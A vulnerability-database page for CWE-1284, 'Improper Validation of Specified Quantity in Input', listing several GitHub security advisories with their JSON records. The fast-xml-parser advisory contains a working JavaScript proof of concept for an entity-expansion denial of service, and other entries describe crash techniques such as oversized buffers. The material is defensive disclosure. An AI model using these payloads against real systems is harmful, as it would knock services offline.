Common Weakness Enumeration

CWE-1284

Allowed

Improper Validation of Specified Quantity in Input

Abstraction: Base · Status: Incomplete

API response cwe.mitre.org

The product receives input that is expected to specify a quantity (such as size or length), but it does not validate or incorrectly validates that the quantity has the required properties.

559 vulnerabilities reference this CWE, most recent first.

GHSA-J52P-J9XV-W569

Vulnerability from github – Published: 2026-01-16 21:30 – Updated: 2026-01-16 21:30
VLAI
Details

Sandboxie 5.49.7 contains a denial of service vulnerability that allows attackers to crash the application by overflowing the container folder input field. Attackers can paste a large buffer of repeated characters into the Sandbox container folder setting to trigger an application crash.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
4.6 (Medium)
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N
Show details on source website
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{
  "affected": [],
  "aliases": [
    "CVE-2021-47831"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1284"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-01-16T19:16:08Z",
    "severity": "MODERATE"
  },
  "details": "Sandboxie 5.49.7 contains a denial of service vulnerability that allows attackers to crash the application by overflowing the container folder input field. Attackers can paste a large buffer of repeated characters into the Sandbox container folder setting to trigger an application crash.",
  "id": "GHSA-j52p-j9xv-w569",
  "modified": "2026-01-16T21:30:36Z",
  "published": "2026-01-16T21:30:36Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-47831"
    },
    {
      "type": "WEB",
      "url": "https://sandboxie-plus.com"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/49844"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/sandboxie-denial-of-service"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-J5GX-4346-5FFR

Vulnerability from github – Published: 2022-12-19 21:30 – Updated: 2022-12-19 21:30
VLAI
Details

In multiple locations, there is a possible display crash loop due to improper input validation. This could lead to local denial of service with system execution privileges needed. User interaction is not needed for exploitation.Product: AndroidVersions: Android-13Android ID: A-238178261

Severity
2.3 (Low)
CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:L
Show details on source website
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{
  "affected": [],
  "aliases": [
    "CVE-2022-20543"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1284",
      "CWE-20"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-12-16T16:15:00Z",
    "severity": "LOW"
  },
  "details": "In multiple locations, there is a possible display crash loop due to improper input validation. This could lead to local denial of service with system execution privileges needed. User interaction is not needed for exploitation.Product: AndroidVersions: Android-13Android ID: A-238178261",
  "id": "GHSA-j5gx-4346-5ffr",
  "modified": "2022-12-19T21:30:28Z",
  "published": "2022-12-19T21:30:28Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-20543"
    },
    {
      "type": "WEB",
      "url": "https://source.android.com/security/bulletin/pixel/2022-12-01"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-JF7Q-Q45C-4R4F

Vulnerability from github – Published: 2026-01-16 21:30 – Updated: 2026-01-16 21:30
VLAI
Details

RarmaRadio 2.72.8 contains a denial of service vulnerability that allows attackers to crash the application by overflowing network configuration fields with large character buffers. Attackers can generate a 100,000 character buffer and paste it into multiple network settings fields to trigger application instability and potential crash.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
4.6 (Medium)
CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N
Show details on source website
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{
  "affected": [],
  "aliases": [
    "CVE-2021-47821"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1284"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-01-16T19:16:06Z",
    "severity": "MODERATE"
  },
  "details": "RarmaRadio 2.72.8 contains a denial of service vulnerability that allows attackers to crash the application by overflowing network configuration fields with large character buffers. Attackers can generate a 100,000 character buffer and paste it into multiple network settings fields to trigger application instability and potential crash.",
  "id": "GHSA-jf7q-q45c-4r4f",
  "modified": "2026-01-16T21:30:36Z",
  "published": "2026-01-16T21:30:36Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-47821"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/49906"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/rarmaradio-denial-of-service"
    },
    {
      "type": "WEB",
      "url": "http://www.raimersoft.com"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:L/AC:L/AT:N/PR:N/UI:A/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-JFVC-65M7-7MHV

Vulnerability from github – Published: 2026-05-15 03:30 – Updated: 2026-05-15 03:30
VLAI
Details

Insufficient parameter sanitization in TEE SOC Driver could allow an attacker to issue a malformed DRV_SOC_CMD_ID_SRIOV_CHECK_TA_COMPAT to cause incorrect shared memory mapping, potentially resulting in unexpected behavior.

Severity
1.8 (Low)
CVSS:4.0/AV:L/AC:H/AT:P/PR:H/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-66660"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1284"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-15T03:16:22Z",
    "severity": "LOW"
  },
  "details": "Insufficient parameter sanitization in TEE SOC Driver could allow an attacker to issue a malformed DRV_SOC_CMD_ID_SRIOV_CHECK_TA_COMPAT to cause incorrect shared memory mapping, potentially resulting in unexpected behavior.",
  "id": "GHSA-jfvc-65m7-7mhv",
  "modified": "2026-05-15T03:30:37Z",
  "published": "2026-05-15T03:30:37Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-66660"
    },
    {
      "type": "WEB",
      "url": "https://www.amd.com/en/resources/product-security/bulletin/AMD-SB-6027.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:4.0/AV:L/AC:H/AT:P/PR:H/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-JGG2-5CV9-85WH

Vulnerability from github – Published: 2024-10-18 00:31 – Updated: 2024-10-18 00:31
VLAI
Details

Improper Validation of Specified Quantity in Input vulnerability in Mitsubishi Electric CNC Series allows a remote unauthenticated attacker to cause Denial of Service (DoS) condition on the product by sending specially crafted packets to TCP port 683, causing an emergency stop.

Severity
5.9 (Medium)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
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{
  "affected": [],
  "aliases": [
    "CVE-2024-7316"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1284"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-10-17T22:15:03Z",
    "severity": "MODERATE"
  },
  "details": "Improper Validation of Specified Quantity in Input vulnerability in Mitsubishi Electric CNC Series allows a remote unauthenticated attacker to cause Denial of Service (DoS) condition on the product by sending specially crafted packets to TCP port 683, causing an emergency stop.",
  "id": "GHSA-jgg2-5cv9-85wh",
  "modified": "2024-10-18T00:31:16Z",
  "published": "2024-10-18T00:31:16Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-7316"
    },
    {
      "type": "WEB",
      "url": "https://jvn.jp/vu/JVNVU92054409/index.html"
    },
    {
      "type": "WEB",
      "url": "https://www.cisa.gov/news-events/ics-advisories/icsa-24-291-03"
    },
    {
      "type": "WEB",
      "url": "https://www.mitsubishielectric.com/en/psirt/vulnerability/pdf/2024-007_en.pdf"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-JGVV-46PR-527W

Vulnerability from github – Published: 2026-04-01 15:31 – Updated: 2026-04-01 18:36
VLAI
Details

A Business Logic vulnerability exists in SourceCodester Pharmacy Product Management System 1.0. The vulnerability is located in the add-sales.php file. The application fails to validate the "txtprice" and "txttotalcost" parameters, allowing attackers to submit negative values for sales transactions. This leads to incorrect financial calculations, corruption of sales reports, and potential financial loss.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-30573"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1284"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-04-01T15:22:59Z",
    "severity": "HIGH"
  },
  "details": "A Business Logic vulnerability exists in SourceCodester Pharmacy Product Management System 1.0. The vulnerability is located in the add-sales.php file. The application fails to validate the \"txtprice\" and \"txttotalcost\" parameters, allowing attackers to submit negative values for sales transactions. This leads to incorrect financial calculations, corruption of sales reports, and potential financial loss.",
  "id": "GHSA-jgvv-46pr-527w",
  "modified": "2026-04-01T18:36:36Z",
  "published": "2026-04-01T15:31:16Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-30573"
    },
    {
      "type": "WEB",
      "url": "https://github.com/meifukun/Web-Security-PoCs/blob/main/Pharmacy-Product-Management-System/Logic-AddSales-NegativePrice.md"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-JHH2-QCRP-6Q44

Vulnerability from github – Published: 2022-12-12 09:30 – Updated: 2022-12-14 18:30
VLAI
Details

Multiple vulnerabilities in the Link Layer Discovery Protocol (LLDP) functionality of Cisco ATA 190 Series Analog Telephone Adapter firmware could allow an unauthenticated, remote attacker to execute arbitrary code on an affected device and cause the LLDP service to restart. These vulnerabilities are due to missing length validation of certain LLDP packet header fields. An attacker could exploit these vulnerabilities by sending a malicious LLDP packet to an affected device. A successful exploit could allow the attacker to execute code on the affected device and cause LLDP to restart unexpectedly, resulting in a denial of service (DoS) condition.

Severity
5.3 (Medium)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L
Show details on source website
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{
  "affected": [],
  "aliases": [
    "CVE-2022-20687"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-120",
      "CWE-1284",
      "CWE-20"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-12-12T09:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Multiple vulnerabilities in the Link Layer Discovery Protocol (LLDP) functionality of Cisco ATA 190 Series Analog Telephone Adapter firmware could allow an unauthenticated, remote attacker to execute arbitrary code on an affected device and cause the LLDP service to restart. These vulnerabilities are due to missing length validation of certain LLDP packet header fields. An attacker could exploit these vulnerabilities by sending a malicious LLDP packet to an affected device. A successful exploit could allow the attacker to execute code on the affected device and cause LLDP to restart unexpectedly, resulting in a denial of service (DoS) condition.",
  "id": "GHSA-jhh2-qcrp-6q44",
  "modified": "2022-12-14T18:30:25Z",
  "published": "2022-12-12T09:30:36Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-20687"
    },
    {
      "type": "WEB",
      "url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ata19x-multivuln-GEZYVvs"
    },
    {
      "type": "WEB",
      "url": "https://tools.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-ata19x-multivuln-GEZYVvs"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-JHR5-5JH8-57WQ

Vulnerability from github – Published: 2021-12-09 00:00 – Updated: 2022-04-20 00:02
VLAI
Details

An out-of-bounds write vulnerability exists in the CMD_DEVICE_GET_SERVER_LIST_REQUEST functionality of the home_security binary of Anker Eufy Homebase 2 2.1.6.9h in function read_udp_push_config_file. A specially-crafted network packet can lead to code execution.

Severity
9.8 (Critical)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2021-21951"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-119",
      "CWE-1284",
      "CWE-787"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-12-08T22:15:00Z",
    "severity": "CRITICAL"
  },
  "details": "An out-of-bounds write vulnerability exists in the CMD_DEVICE_GET_SERVER_LIST_REQUEST functionality of the home_security binary of Anker Eufy Homebase 2 2.1.6.9h in function read_udp_push_config_file. A specially-crafted network packet can lead to code execution.",
  "id": "GHSA-jhr5-5jh8-57wq",
  "modified": "2022-04-20T00:02:07Z",
  "published": "2021-12-09T00:00:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-21951"
    },
    {
      "type": "WEB",
      "url": "https://talosintelligence.com/vulnerability_reports/TALOS-2021-1378"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-JJ3M-33JH-V459

Vulnerability from github – Published: 2026-05-20 00:31 – Updated: 2026-05-20 15:35
VLAI
Details

Ledger Nano X, Flex, and Stax devices contain a denial of service vulnerability in the MCU firmware update process due to missing validation of the reset_handler parameter during firmware flashing. An attacker can provide a crafted reset_handler address pointing to invalid memory or attacker-controlled code to cause the device to enter an unrecoverable fault state during boot, resulting in permanent loss of operability.

Severity
4.6 (Medium)
CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
5.1 (Medium)
CVSS:4.0/AV:P/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2025-15645"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1284"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-05-19T22:16:36Z",
    "severity": "MODERATE"
  },
  "details": "Ledger Nano X, Flex, and Stax devices contain a denial of service vulnerability in the MCU firmware update process due to missing validation of the reset_handler parameter during firmware flashing. An attacker can provide a crafted reset_handler address pointing to invalid memory or attacker-controlled code to cause the device to enter an unrecoverable fault state during boot, resulting in permanent loss of operability.",
  "id": "GHSA-jj3m-33jh-v459",
  "modified": "2026-05-20T15:35:26Z",
  "published": "2026-05-20T00:31:41Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2025-15645"
    },
    {
      "type": "WEB",
      "url": "https://donjon.ledger.com/lsb/021"
    },
    {
      "type": "WEB",
      "url": "https://www.ledger.com/security-bulletin"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/ledger-nano-x-flex-stax-mcu-firmware-update-denial-of-service"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    },
    {
      "score": "CVSS:4.0/AV:P/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X",
      "type": "CVSS_V4"
    }
  ]
}

GHSA-JP2Q-39XQ-3W4G

Vulnerability from github – Published: 2026-03-19 19:13 – Updated: 2026-04-08 22:27
VLAI
Summary
Entity Expansion Limits Bypassed When Set to Zero Due to JavaScript Falsy Evaluation in fast-xml-parser
Details

Summary

The DocTypeReader in fast-xml-parser uses JavaScript truthy checks to evaluate maxEntityCount and maxEntitySize configuration limits. When a developer explicitly sets either limit to 0 — intending to disallow all entities or restrict entity size to zero bytes — the falsy nature of 0 in JavaScript causes the guard conditions to short-circuit, completely bypassing the limits. An attacker who can supply XML input to such an application can trigger unbounded entity expansion, leading to memory exhaustion and denial of service.

Details

The OptionsBuilder.js correctly preserves a user-supplied value of 0 using nullish coalescing (??):

// src/xmlparser/OptionsBuilder.js:111
maxEntityCount: value.maxEntityCount ?? 100,
// src/xmlparser/OptionsBuilder.js:107
maxEntitySize: value.maxEntitySize ?? 10000,

However, DocTypeReader.js uses truthy evaluation to check these limits. Because 0 is falsy in JavaScript, the entire guard expression short-circuits to false, and the limit is never enforced:

// src/xmlparser/DocTypeReader.js:30-32
if (this.options.enabled !== false &&
    this.options.maxEntityCount &&          // ← 0 is falsy, skips check
    entityCount >= this.options.maxEntityCount) {
    throw new Error(`Entity count ...`);
}

// src/xmlparser/DocTypeReader.js:128-130
if (this.options.enabled !== false &&
    this.options.maxEntitySize &&            // ← 0 is falsy, skips check
    entityValue.length > this.options.maxEntitySize) {
    throw new Error(`Entity "${entityName}" size ...`);
}

The execution flow is:

  1. Developer configures processEntities: { maxEntityCount: 0, maxEntitySize: 0 } intending to block all entity definitions.
  2. OptionsBuilder.normalizeProcessEntities preserves the 0 values via ?? (correct behavior).
  3. Attacker supplies XML with a DOCTYPE containing many large entities.
  4. DocTypeReader.readDocType evaluates this.options.maxEntityCount && ... — since 0 is falsy, the entire condition is false.
  5. DocTypeReader.readEntityExp evaluates this.options.maxEntitySize && ... — same result.
  6. All entity count and size limits are bypassed; entities are parsed without restriction.

PoC

const { XMLParser } = require("fast-xml-parser");

// Developer intends: "no entities allowed at all"
const parser = new XMLParser({
  processEntities: {
    enabled: true,
    maxEntityCount: 0,    // should mean "zero entities allowed"
    maxEntitySize: 0       // should mean "zero-length entities only"
  }
});

// Generate XML with many large entities
let entities = "";
for (let i = 0; i < 1000; i++) {
  entities += `<!ENTITY e${i} "${"A".repeat(100000)}">`;
}

const xml = `<?xml version="1.0"?>
<!DOCTYPE foo [
  ${entities}
]>
<foo>&e0;</foo>`;

// This should throw "Entity count exceeds maximum" but does not
try {
  const result = parser.parse(xml);
  console.log("VULNERABLE: parsed without error, entities bypassed limits");
} catch (e) {
  console.log("SAFE:", e.message);
}

// Control test: setting maxEntityCount to 1 correctly blocks
const safeParser = new XMLParser({
  processEntities: {
    enabled: true,
    maxEntityCount: 1,
    maxEntitySize: 100
  }
});

try {
  safeParser.parse(xml);
  console.log("ERROR: should have thrown");
} catch (e) {
  console.log("CONTROL:", e.message);  // "Entity count (2) exceeds maximum allowed (1)"
}

Expected output:

VULNERABLE: parsed without error, entities bypassed limits
CONTROL: Entity count (2) exceeds maximum allowed (1)

Impact

  • Denial of Service: An attacker supplying crafted XML with thousands of large entity definitions can exhaust server memory in applications where the developer configured maxEntityCount: 0 or maxEntitySize: 0, intending to prohibit entities entirely.
  • Security control bypass: Developers who explicitly set restrictive limits to 0 receive no protection — the opposite of their intent. This creates a false sense of security.
  • Scope: Only applications that explicitly set these limits to 0 are affected. The default configuration (maxEntityCount: 100, maxEntitySize: 10000) is not vulnerable. The enabled: false option correctly disables entity processing entirely and is not affected.

Recommended Fix

Replace the truthy checks in DocTypeReader.js with explicit type checks that correctly treat 0 as a valid numeric limit:

// src/xmlparser/DocTypeReader.js:30-32 — replace:
if (this.options.enabled !== false &&
    this.options.maxEntityCount &&
    entityCount >= this.options.maxEntityCount) {

// with:
if (this.options.enabled !== false &&
    typeof this.options.maxEntityCount === 'number' &&
    entityCount >= this.options.maxEntityCount) {

// src/xmlparser/DocTypeReader.js:128-130 — replace:
if (this.options.enabled !== false &&
    this.options.maxEntitySize &&
    entityValue.length > this.options.maxEntitySize) {

// with:
if (this.options.enabled !== false &&
    typeof this.options.maxEntitySize === 'number' &&
    entityValue.length > this.options.maxEntitySize) {

Workaround

If you don't want to processed the entities, keep the processEntities flag to false instead of setting any limit to 0.

Severity
5.9 (Medium)
CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "fast-xml-parser"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "4.0.0-beta.3"
            },
            {
              "fixed": "4.5.5"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    },
    {
      "package": {
        "ecosystem": "npm",
        "name": "fast-xml-parser"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "5.0.0"
            },
            {
              "fixed": "5.5.7"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-33349"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-1284"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-03-19T19:13:13Z",
    "nvd_published_at": "2026-03-24T20:16:29Z",
    "severity": "MODERATE"
  },
  "details": "## Summary\n\nThe `DocTypeReader` in fast-xml-parser uses JavaScript truthy checks to evaluate `maxEntityCount` and `maxEntitySize` configuration limits. When a developer explicitly sets either limit to `0` \u2014 intending to disallow all entities or restrict entity size to zero bytes \u2014 the falsy nature of `0` in JavaScript causes the guard conditions to short-circuit, completely bypassing the limits. An attacker who can supply XML input to such an application can trigger unbounded entity expansion, leading to memory exhaustion and denial of service.\n\n## Details\n\nThe `OptionsBuilder.js` correctly preserves a user-supplied value of `0` using nullish coalescing (`??`):\n\n```js\n// src/xmlparser/OptionsBuilder.js:111\nmaxEntityCount: value.maxEntityCount ?? 100,\n// src/xmlparser/OptionsBuilder.js:107\nmaxEntitySize: value.maxEntitySize ?? 10000,\n```\n\nHowever, `DocTypeReader.js` uses truthy evaluation to check these limits. Because `0` is falsy in JavaScript, the entire guard expression short-circuits to `false`, and the limit is never enforced:\n\n```js\n// src/xmlparser/DocTypeReader.js:30-32\nif (this.options.enabled !== false \u0026\u0026\n    this.options.maxEntityCount \u0026\u0026          // \u2190 0 is falsy, skips check\n    entityCount \u003e= this.options.maxEntityCount) {\n    throw new Error(`Entity count ...`);\n}\n```\n\n```js\n// src/xmlparser/DocTypeReader.js:128-130\nif (this.options.enabled !== false \u0026\u0026\n    this.options.maxEntitySize \u0026\u0026            // \u2190 0 is falsy, skips check\n    entityValue.length \u003e this.options.maxEntitySize) {\n    throw new Error(`Entity \"${entityName}\" size ...`);\n}\n```\n\nThe execution flow is:\n\n1. Developer configures `processEntities: { maxEntityCount: 0, maxEntitySize: 0 }` intending to block all entity definitions.\n2. `OptionsBuilder.normalizeProcessEntities` preserves the `0` values via `??` (correct behavior).\n3. Attacker supplies XML with a DOCTYPE containing many large entities.\n4. `DocTypeReader.readDocType` evaluates `this.options.maxEntityCount \u0026\u0026 ...` \u2014 since `0` is falsy, the entire condition is `false`.\n5. `DocTypeReader.readEntityExp` evaluates `this.options.maxEntitySize \u0026\u0026 ...` \u2014 same result.\n6. All entity count and size limits are bypassed; entities are parsed without restriction.\n\n## PoC\n\n```js\nconst { XMLParser } = require(\"fast-xml-parser\");\n\n// Developer intends: \"no entities allowed at all\"\nconst parser = new XMLParser({\n  processEntities: {\n    enabled: true,\n    maxEntityCount: 0,    // should mean \"zero entities allowed\"\n    maxEntitySize: 0       // should mean \"zero-length entities only\"\n  }\n});\n\n// Generate XML with many large entities\nlet entities = \"\";\nfor (let i = 0; i \u003c 1000; i++) {\n  entities += `\u003c!ENTITY e${i} \"${\"A\".repeat(100000)}\"\u003e`;\n}\n\nconst xml = `\u003c?xml version=\"1.0\"?\u003e\n\u003c!DOCTYPE foo [\n  ${entities}\n]\u003e\n\u003cfoo\u003e\u0026e0;\u003c/foo\u003e`;\n\n// This should throw \"Entity count exceeds maximum\" but does not\ntry {\n  const result = parser.parse(xml);\n  console.log(\"VULNERABLE: parsed without error, entities bypassed limits\");\n} catch (e) {\n  console.log(\"SAFE:\", e.message);\n}\n\n// Control test: setting maxEntityCount to 1 correctly blocks\nconst safeParser = new XMLParser({\n  processEntities: {\n    enabled: true,\n    maxEntityCount: 1,\n    maxEntitySize: 100\n  }\n});\n\ntry {\n  safeParser.parse(xml);\n  console.log(\"ERROR: should have thrown\");\n} catch (e) {\n  console.log(\"CONTROL:\", e.message);  // \"Entity count (2) exceeds maximum allowed (1)\"\n}\n```\n\n**Expected output:**\n```\nVULNERABLE: parsed without error, entities bypassed limits\nCONTROL: Entity count (2) exceeds maximum allowed (1)\n```\n\n## Impact\n\n- **Denial of Service:** An attacker supplying crafted XML with thousands of large entity definitions can exhaust server memory in applications where the developer configured `maxEntityCount: 0` or `maxEntitySize: 0`, intending to prohibit entities entirely.\n- **Security control bypass:** Developers who explicitly set restrictive limits to `0` receive no protection \u2014 the opposite of their intent. This creates a false sense of security.\n- **Scope:** Only applications that explicitly set these limits to `0` are affected. The default configuration (`maxEntityCount: 100`, `maxEntitySize: 10000`) is not vulnerable. The `enabled: false` option correctly disables entity processing entirely and is not affected.\n\n## Recommended Fix\n\nReplace the truthy checks in `DocTypeReader.js` with explicit type checks that correctly treat `0` as a valid numeric limit:\n\n```js\n// src/xmlparser/DocTypeReader.js:30-32 \u2014 replace:\nif (this.options.enabled !== false \u0026\u0026\n    this.options.maxEntityCount \u0026\u0026\n    entityCount \u003e= this.options.maxEntityCount) {\n\n// with:\nif (this.options.enabled !== false \u0026\u0026\n    typeof this.options.maxEntityCount === \u0027number\u0027 \u0026\u0026\n    entityCount \u003e= this.options.maxEntityCount) {\n```\n\n```js\n// src/xmlparser/DocTypeReader.js:128-130 \u2014 replace:\nif (this.options.enabled !== false \u0026\u0026\n    this.options.maxEntitySize \u0026\u0026\n    entityValue.length \u003e this.options.maxEntitySize) {\n\n// with:\nif (this.options.enabled !== false \u0026\u0026\n    typeof this.options.maxEntitySize === \u0027number\u0027 \u0026\u0026\n    entityValue.length \u003e this.options.maxEntitySize) {\n```\n\n# Workaround\n\nIf you don\u0027t want to processed the entities, keep the processEntities flag to false instead of setting any limit to 0.",
  "id": "GHSA-jp2q-39xq-3w4g",
  "modified": "2026-04-08T22:27:44Z",
  "published": "2026-03-19T19:13:13Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/NaturalIntelligence/fast-xml-parser/security/advisories/GHSA-jp2q-39xq-3w4g"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-33349"
    },
    {
      "type": "WEB",
      "url": "https://github.com/NaturalIntelligence/fast-xml-parser/commit/239b64aa1fc5c5455ddebbbb54a187eb68c9fdb7"
    },
    {
      "type": "WEB",
      "url": "https://github.com/NaturalIntelligence/fast-xml-parser/commit/88d0936a23dabe51bfbf42255e2ce912dfee2221"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/NaturalIntelligence/fast-xml-parser"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Entity Expansion Limits Bypassed When Set to Zero Due to JavaScript Falsy Evaluation in fast-xml-parser"
}
Mitigation MIT-5
Implementation

Strategy: Input Validation

  • Assume all input is malicious. Use an "accept known good" input validation strategy, i.e., use a list of acceptable inputs that strictly conform to specifications. Reject any input that does not strictly conform to specifications, or transform it into something that does.
  • When performing input validation, consider all potentially relevant properties, including length, type of input, the full range of acceptable values, missing or extra inputs, syntax, consistency across related fields, and conformance to business rules. As an example of business rule logic, "boat" may be syntactically valid because it only contains alphanumeric characters, but it is not valid if the input is only expected to contain colors such as "red" or "blue."
